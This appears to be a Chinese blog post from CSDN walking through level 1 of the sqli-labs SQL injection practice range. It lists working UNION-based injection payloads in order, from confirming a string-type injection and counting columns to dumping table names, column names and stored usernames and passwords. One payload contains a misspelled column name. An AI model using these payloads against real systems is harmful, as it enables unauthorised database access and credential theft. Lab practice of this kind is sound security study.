【sql注入】sqli-labs靶场

文章详细阐述了如何通过一系列SQL注入技术来检测和利用字符型注入漏洞。首先通过测试判断出这不是数字型注入,然后利用--+进行注释完成字符型注入的确认。接着,通过OrderBy语句确定表的列数,使用UNIONSELECT方法暴露显示位、数据库名、版本信息以及表和字段名。最后,展示了如何爆破字段内容,揭示了username和password等敏感信息。
摘要由CSDN通过智能技术生成

第一关

1.首先判断是何种类型注入

根据?id=1 and 1=1和?id=1 and 1=2,页面无变化,说明and 1=1和and 1=2语句未被执行,由此判断不是数字型注入;

 

根据语句?id=1'and 1=1--+和?id=1'and 1=2--+,页面有明显变化,1=1为真,正常返回,1=2为假,页面报错,由此可以判断是字符型注入;(注意此处字符型构造sql语句时后面必须加--+,否则一律报错,--+是注释掉后面所有语句的作用,至于为啥不加会报错,我也不清楚);

2.爆破列数

根据语句?id=1' order by 4--+报错,然后?id=1' order by 3--+正常回显,可知表的列数为3;(此处一般直接order by一个较大的数,然后依次递减,到正常的那个数即为列数)

3.爆出显示位

根据语句?id=-1' union select 1,2,3 --+,得到回显位置;顺便一个语句?id=-1' union select 1,database(),version()--+,获取数据库名和版本信息(注意此处id必须设为-1,即一个不存在的id,才能正常回显数据)

4.爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

group_concat是将查询到的结果连接起来,否则只会显示一个表名

5.爆字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

从以上爆出的字段名可以看到有username和password两个敏感字段,所以接下来就是爆字段的内容 

6.爆字段内容

?id=-1'union select 1,2,group_concat(user_id,useranme,password) from users--+

到这里第一关就算结束啦

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值